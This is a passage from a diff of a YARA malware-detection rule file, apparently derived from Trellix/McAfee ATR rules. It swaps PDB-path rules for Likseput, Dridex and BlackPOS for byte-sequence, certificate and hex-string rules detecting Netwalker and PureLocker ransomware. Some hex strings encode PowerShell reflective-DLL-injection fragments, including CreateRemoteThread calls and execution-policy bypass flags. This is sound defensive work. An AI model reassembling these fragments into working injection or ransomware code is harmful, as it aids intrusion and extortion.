?83??????74??66????????75??0FB7??83????72??83????76??83????66??????76??6A??8D????5650E8????????83????85??74??B8????????5EC333??5EC3CCCCCCCCCCCCCCCCCCCCCCCCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??A1????????83????????????74??8B??????85??74??6A??05????????5150E8????????83????85??74??B8????????C333??C3CCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????74??8B??????85??74??A1????????83??????74??6A??83????5150E8????????83????85??74??B8????????C333??C3CCCCCCCCCCCCCCCC83????????????5674??8B??????85??74??A1????????83??????74??51E8????????8B??83????85??74??8B??????????6A??83????5651E8????????83????85??74??B8????????5EC356E8????????83????33??5EC3CCCCCCCCCCCCCC535556576A??E8????????8B??83????85??0F84????????8B??660F1F??????0FB7????83????51E8????????8B??83????85??74??0FB7????51FF????57E8????????83????83????????????74??A1????????83??????74??6A??83????5750E8????????83????85??74??E8????????8B????3B????74??6A??51E8????????8B??83????85??74??E8????????6A??538B????FF??E8????????538B??????????FF??57E8????????83????8B??03??85??0F85????????55E8????????83????E8????????6A??8B??????????FF??E9????????CCCCCCCCCCCCCC83????5533??565739??????????0F84????????8B??????85??0F84????????8B??????85??0F84????????53E8????????8B??????????FF??83??????8B??74??E8????????FF????8B??????????FF??89??????E8????????8D??????516A??8B??????????8D??????516A??57FF??85??74??8B??????89????83????74??E8????????8B??????????FF??2B??3D????????77??83??????75??5B5F5E8B??5D83????C3BD????????5B5F5E8B??5D83????C35F5E33??5D83????C383????558B??????85??0F84????????5333??5733??89??????89??????E8????????8D??????518D??????8B??????????5157576A??FF????FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????56E8????????8D??????518D??????8B??????????51FF??????FF??????6A??FF????FF??85??74??33??39??????76??8B??????0F1F??????????E8????????8B??????68????????FF????8B??????????FF??FF??89??????8D????????????5053E8????????8B??83????85??74??FF??????68????????E8????????83????89????474683????3B??????72??8B??????FF??????E8????????83????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??E8????????FF????8B??????????FF??463B??72??53E8????????83????5EE8????????8D??????516A??FF????8B??????????FF??5F5B85??74??8D??????50FF????E8????????83????E8????????FF????8B??????????FF??55E8????????83????33??5D83????C2????CCCCCCCCCCCCCCCCCCCCCCCC83????568B??????85??74??E8????????8D??????516A??8B??????????56FF??85??74??8D??????5056E8????????83????E8????????568B??????????FF??33??5E83????C2????CCCCCCCCCCCC83????83????????????5356570F84????????A1????????83??????0F84????????55E8????????68????????6A??6A??8B??????????FF??8B??89??????85??0F84????????660F1F????????????C7??????????????C7??????????????C7??????????????E8????????8D??????518D??????8B??????????518D??????516A??6A??6A??6A??55FF??85??0F85????????E8????????8B??????????FF??3D????????0F85????????FF??????E8????????83????89??????85??0F84????????E8????????8B??????8D??????518D??????8B??????????518D??????51FF??????566A??6A??55FF??85??0F84????????33??33??89??????39??????0F86????????0F1F??????????FF??E8????????83????85??75??FF????E8????????83????85??74??E8????????68????????FF??8B??????????55FF??89??????85??74??6A??E8????????8B??83????85??74??8B??????8D????????????5189????8B??????5389????E8????????8B??83????85??74??5568????????E8????????83????89????478B??????8B??????83????4089??????3B??????0F82????????85??74??85??74??E8????????6A??6A??538B??????????57FF??33??85??74??0F1F????E8????????FF????8B??????????FF??463B??72??53E8????????83????FF??????E8????????83????E8????????68????????8B??????????FF??E9????????5D5F5E33??5B83????C2????CCCCCC83????53558B??????565785??0F84????????8B????8D??????516A??55C7??????????????FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????6A??8D??????6A??50E8????????33??83????B8????????66????????39??????0F8E????????8B??????8D??????5083????C7??????????????438B??89??????0F10??????8B??510F11??FF????85??0F88????????8B??????8D??????C7??????????????52508B??FF????85??0F88????????8B??????8D??????C7??????????????33??52508B??FF????83????????0F84????????FF??????E8????????83????85??0F85????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????8B??????8D??????89??????52508B??FF????85??0F88????????33?? } + $pattern3 = { CCCCCCCCCC558B??FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF??????????68????????FF??????????FF?????????? } condition: - uint16( 0 ) == 0x5a4d and filesize < 150KB and any of them + uint16( 0 ) == 0x5a4d and any of ( $pattern* ) } -rule TRELLIX_ARC_Malw_Likseput_Backdoor_Pdb : BACKDOOR FILE + +rule TRELLIX_ARC_Netwalker_Signed : FILE { meta: - description = "Rule to detect Likseput backdoor based on the PDB" + description = "Rule to detect Netwalker ransomware digitally signed." author = "Marc Rivero | McAfee ATR Team" - id = "2193daf8-016b-5f49-97ec-b821c8da22f6" - date = "2011-03-26" - modified = "2020-08-14" - reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/bkdr_likseput.e" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_likseput_backdoor_pdb.yar#L1-L25" + id = "6806b917-2e02-57e3-887a-b4c12db83653" + date = "2020-03-30" + modified = "2020-11-20" + reference = "https://www.ccn-cert.cni.es/comunicacion-eventos/comunicados-ccn-cert/9802-publicado-un-informe-de-codigo-danino-sobre-netwalker.html" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L30-L47" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "993b36370854587f4eef3366562f01ab87bc4f7b88a21f07b44bd5051340386d" - logic_hash = "2afc4b7e6a5f0d9fed9a075aebaac8157e843c83c55c3f2255431bb6a03459ec" + logic_hash = "d78ed22771d7c93516375afb8fd2fd7baa40a357ec3c247939a10d11f80ae226" score = 75 quality = 70 - tags = "BACKDOOR, FILE" + tags = "FILE" + note = "The rule will hit also some Dridex samples digitally signed" + + condition: + uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "/CN=EWBTCAXQKUMDTHCXCZ" and pe.signatures [ i ] . serial == "17:16:bb:93:fb:a9:a2:41:ba:a8:2e:c7:5e:ff:0c" or pe.signatures [ i ] . thumbprint == "a4:28:e9:4a:61:3a:1f:cf:ff:08:bf:e7:61:51:64:31:1a:6f:87:bc" ) +} +rule TRELLIX_ARC_Netwalker : RANSOMWARE FILE +{ + meta: + description = "Rule based on code overlap in RagnarLocker ransomware" + author = "McAfee ATR team" + id = "80097a40-534a-5e1b-8fde-e4d832d76698" + date = "2020-06-14" + modified = "2020-11-20" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L49-L75" + license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" + logic_hash = "8c56ebed9e097d294045de46942c708da9ba7e01475dcecb0c3d41fcc8004780" + score = 75 + quality = 70 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Likseput" - actor_type = "Cybercrime" + malware_type = "ransomware" actor_group = "Unknown" strings: - $pdb = "\\work\\code\\2008-7-8muma\\mywork\\winInet_winApplication2009-8-7\\mywork\\aaaaaaa\\Release\\aaaaaaa.pdb" + $0 = {C88BF28B4330F76F3803C88B434813F2F76F2003C88B433813F2F76F3003C88B434013F2F76F2803C88B432813F2F76F4003C8894D6813F289756C8B4338F76F388BC88BF28B4328F76F4803C88B434813F2F76F2803C88B433013F2F76F400FA4CE} + $1 = {89542414895424108BEA8BDA8BFA423C22747C3C5C75588A023C5C744F3C2F744B3C2274473C6275078D5702B008EB3F3C6675078D5302B00CEB343C6E75078D5502B00AEB293C72750B8B542410B00D83C202EB1A3C74750B8B542414B00983C2} + $2 = {C8894D7013F28975748B4338F76F408BC88BF28B4340F76F3803C88B433013F2F76F4803C88B434813F2F76F3003C8894D7813F289757C8B4348F76F388BC88BF28B4338F76F4803C88B434013F2F76F400FA4CE} + $3 = {C07439473C2F75E380FB2A74DEEB2D8D4ABF8D422080F9190FB6D80FB6C28AD60F47D88AC6042080EA410FB6C880FA190FB6C60F47C83ACB754B46478A1684D2} + $4 = {8B433013F2F76F0803C88B432013F2F76F1803C88B0313F2F76F3803C88B430813F2F76F3003C88B433813F2F72F03C8894D3813F289753C8B4338F76F088BC8} + $5 = {F73101320E32213234329832E3320C332D334733643383339133A833BD33053463347C34543564358335AE36C3362937E9379A39BA390A3A203A443A183B2B3B} + $6 = {8B431813F2F76F4803C88B432813F2F76F3803C88B434013F2F76F200FA4CE0103C903C88B432013F2F76F4003C88B433013F2F76F3003C8894D6013F2897564} condition: - uint16( 0 ) == 0x5a4d and filesize < 40KB and any of them + uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 and all of them } -rule TRELLIX_ARC_Dridex_P2P_Pdb : BACKDOOR FILE +rule TRELLIX_ARC_Win_Netwalker_Reflective_Dll_Injection_Decoded : RANSOMWARE { meta: - description = "Rule to detect Dridex P2P based on the PDB" - author = "Marc Rivero | McAfee ATR Team" - id = "57350c96-877e-57de-9465-df9f7eb6d656" - date = "2014-11-29" - modified = "2020-08-14" - reference = "https://www.us-cert.gov/ncas/alerts/aa19-339a" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_dridex_p2p_pdb.yar#L1-L25" + description = "Rule to detect Reflective DLL Injection Powershell Script dropping Netwalker, after hexadecimal decoded and xor decrypted " + author = "McAfee ATR Team" + id = "9562c0b9-e7ac-5b96-99cc-1df91cb617af" + date = "2020-05-28" + modified = "2020-11-20" + reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/ | https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_netwalker.yar#L77-L140" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5345a9405212f3b8ef565d5d793e407ae8db964865a85c97e096295ba3f39a78" - logic_hash = "c9c4db48435203cdb882eef8082efd8424bd13f1aa512cfb3082f365b9bc6e83" + hash = "fd29001b8b635e6c51270788bab7af0bb5adba6917c278b93161cfc2bc7bd6ae" + logic_hash = "e99c045f39e7933e877a4df7793aa5ea6be5a782bb079419501929ba99844dec" score = 75 - quality = 70 - tags = "BACKDOOR, FILE" + quality = 30 + tags = "RANSOMWARE" rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Dridex" - actor_type = "Cybercrime" - actor_group = "Unknown" + malware_type = "ransomware" strings: - $pdb = "\\c0da\\j.pdb" + $api0 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 20 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 41 6c 6c 6f 63 22 29 5d } + $api1 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 22 29 5d } + $api2 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 4c 6f 61 64 4c 69 62 72 61 72 79 41 22 29 5d } + $api3 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 22 29 5d } + $api4 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 46 72 65 65 22 29 5d } + $api5 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 22 29 5d } + $api6 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 6c 6f 73 65 48 61 6e 64 6c 65 22 29 5d } + $api7 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 3d 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 22 29 5d } + $api8 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 3d 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 22 29 5d } + $api9 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 20 53 65 74 4c 61 73 74 45 72 72 6f 72 20 3d 20 74 72 75 65 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 4f 70 65 6e 50 72 6f 63 65 73 73 22 29 5d } + $api10 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 22 29 5d } + $artifact0 = { 5b 44 6c 6c 49 6d 70 6f 72 74 28 22 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 22 2c 45 6e 74 72 79 50 6f 69 6e 74 20 3d 20 22 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 22 29 5d } + $artifact1 = { 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 50 74 72 54 6f 53 74 72 75 63 74 75 72 65 } + $artifact2 = { 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 2e 4d 61 72 73 68 61 6c 5d 3a 3a 52 65 61 64 49 6e 74 31 36 } + $artifact3 = { 65 6e 76 3a 57 49 4e 44 49 52 5c 73 79 73 77 6f 77 36 34 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 22 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 65 78 65 63 20 62 79 70 61 73 73} + $artifact4 = { 65 6e 76 3a 57 49 4e 44 49 52 5c 73 79 73 77 6f 77 36 34 5c 77 69 6e 64 6f 77 73 70 6f 77 65 72 73 68 65 6c 6c 5c 76 31 2e 30 5c 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 22 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 65 78 65 63 20 62 79 70 61 73 73 20 2d 66 69 6c 65} + $artifact5 = {5b 50 61 72 61 6d 65 74 65 72 28 50 6f 73 69 74 69 6f 6e 20 3d 20 30 20 2c 20 4d 61 6e 64 61 74 6f 72 79} + $artifact6 = {5b 50 61 72 61 6d 65 74 65 72 28 50 6f 73 69 74 69 6f 6e 20 3d 20 31 20 2c 20 4d 61 6e 64 61 74 6f 72 79} + $artifact7 = {2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 50 61 73 73 20 2d 4e 6f 4c 6f 67 6f 20 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 20 2d 4e 6f 50 72 6f 66 69 6c 65 20 2d 4e 6f 45 78 69 74} + $artifact8 = {72 65 74 75 72 6e 20 5b 42 69 74 43 6f 6e 76 65 72 74 65 72 5d 3a 3a 54 6f 49 6e 74 36 34} condition: - uint16( 0 ) == 0x5a4d and filesize < 400KB and any of them + 6 of ( $api* ) or ( ( 3 of ( $artifact* ) ) ) } -rule TRELLIX_ARC_MALWARE_Blackpos_Pdb : POS FILE +rule TRELLIX_ARC_Purelocker_Ransomware : RANSOMWARE FILE { meta: - description = "BlackPOS PDB" + description = "Rule to detect PureLocker ransomware based on binary sequences" author = "Marc Rivero | McAfee ATR Team" - id = "f37e1522-49c4-5369-bc2c-33b070e9eae7" - date = "2014-01-24" + id = "3d945869-9faa-59de-add6-d664a7beef6f" + date = "2019-11-13" modified = "2020-08-14" - reference = "https://en.wikipedia.org/wiki/BlackPOS_Malware" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/malware/MALW_blackpos_pdb.yar#L1-L25" + reference = "https://www.pandasecurity.com/mediacenter/security/purelocker-ransomware-servers/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_PureLocker.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "5a963e8aca62f3cf5872c6bff02d6dee0399728554c6ac3f5cb312b2ba7d7dbf" - logic_hash = "d8f3fa380ca15f0fae432849b8c16cb8a0a9d1427d3e72fbf89cbbd63b0849c9" + logic_hash = "9f39f0ef922023a79919f5b41a7acda6c08373af8f5fd2d4c4dcaca6146970ea" score = 75 quality = 70 - tags = "POS, FILE" + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "pos" - malware_family = "Pos:W32/BlackPos" + malware_type = "ransomware" + malware_family = "Ransom:W32/PureLocker" actor_type = "Cybercrime" actor_group = "Unknown" strings: - $pdb = "\\Projects\\Rescator\\MmonNew\\Debug\\mmon.pdb" + $sequence = { 31??FF????E8????????83????5BC2????555357BA????????83????C7????????????4A75??E8????????8B????????????8D????E8????????8B????????????8D??????E8????????FF????8D??????????59E8????????75??FF??????8D??????????59E8????????75??EB??B8????????EB??31??21??74??31??0FBE??E9????????8D??????C7????????????C7????????????66??????????FF??????E8????????89??????52E8????????5A5052E8????????5A50FF??????E8????????8D????????????50E8????????8B??????01??89??????8B??????83????53E8????????89??????8B??????21??75??31??0FBE??E9????????68????????68????????FF????????????FF??????E8????????FF????E8????????89??01??89????????????8B????????????83????53E8????????89????????????8B????????????21??75??FF??????E8????????31??0FBE??E9????????68????????68????????FF??????FF????????????E8????????0FBE??????????83????0F85????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????FF??????E8????????68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF????????????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????FF????E8????????8D??????FF????E8????????FF????????????E8????????FF????????????E8????????B8????????0FBE??E9????????EB??68????????8D??????508D??????5068????????68????????68????????31??5068????????68????????FF??????FF????????????68????????E8????????89??????8B??????21??75??31??0FBE??E9????????8D??????508D??????FF????E8????????89????????????FF??????E8????????C7??????????????FF????????????E8????????C7????????????????????C7????????????????????8B????????????21??74??E9????????0FBE????????????83????75??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????EB??68????????68????????8D????????????5068????????8D??????FF????E8????????89??????8B??????21??74??E9????????0FBE????????????83????75??8D????????????8D????FF????FF??8F??????8F??????EB??8D????????????8B????9952508F??????8F??????FF??????FF??????5B5F83????7F??7C??83????77??31??EB??B8????????09??75??E9????????0FBE????????????83????75??68????????E8????????89????????????8B????????????21??75??E9????????68????????68????????68????????FF????????????FF????????????FF????????????8D??????FF????E8????????89????????????EB??68????????E8????????89??????8B??????21??75??E9????????68????????68????????FF??????8B????????????508D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????FF????FF??5B5F83????75??83????74??31??EB??B8????????09??74??E9????????EB??8B??????21??75??E9????????8B??????8B????21??75??E9????????0FBE????????????83????75??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????68????????FF????????????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??C7????????????????????FF????????????E8????????89????????????C7????????????????????68????????FF????????????FF????????????8B????????????FF????8D??????FF????E8????????89????????????8B????????????21??74??E9????????0FBE????????????83????75??8B????????????21??7E??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??8B??????21??7E??68????????68????????FF??????E8????????FF??????E8????????C7??????????????0FBE????????????83????75??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????EB??8B????????????21??75??E9????????8B????????????8D????89??21??75??E9????????8B??????83????53E8????????89????????????8B????????????21??75??E9????????68????????68????????FF??????FF????????????E8????????0FBE????????????83????75??68????????68????????FF??????FF????????????8B????????????8D????FF????FF??8D??????FF????E8????????89????????????EB??68????????FF??????FF????????????8B????????????FF????8D??????FF????E8????????89????????????FF????????????E8????????C7????????????????????0FBE????????????83????75??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????EB??68????????68????????FF????????????E8????????FF????????????E8????????C7????????????????????8B????????????21??74??EB??68????????8D??????FF????E8????????89????????????8B????????????21??74??EB??0FBE????????????83????75??68????????31??508D??????FF????E8????????C6????????8D??????FF????E8????????8D??????FF????E8????????0FBE??????0FBE??E9????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B????????????21??7E??FF????????????E8????????8B??????21??7E??FF??????E8????????8B????????????21??7E??FF????????????E8????????8D??????8B????21??7E??68????????8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????8D??????8B????21??7E??8D??????FF????E8????????31??0FB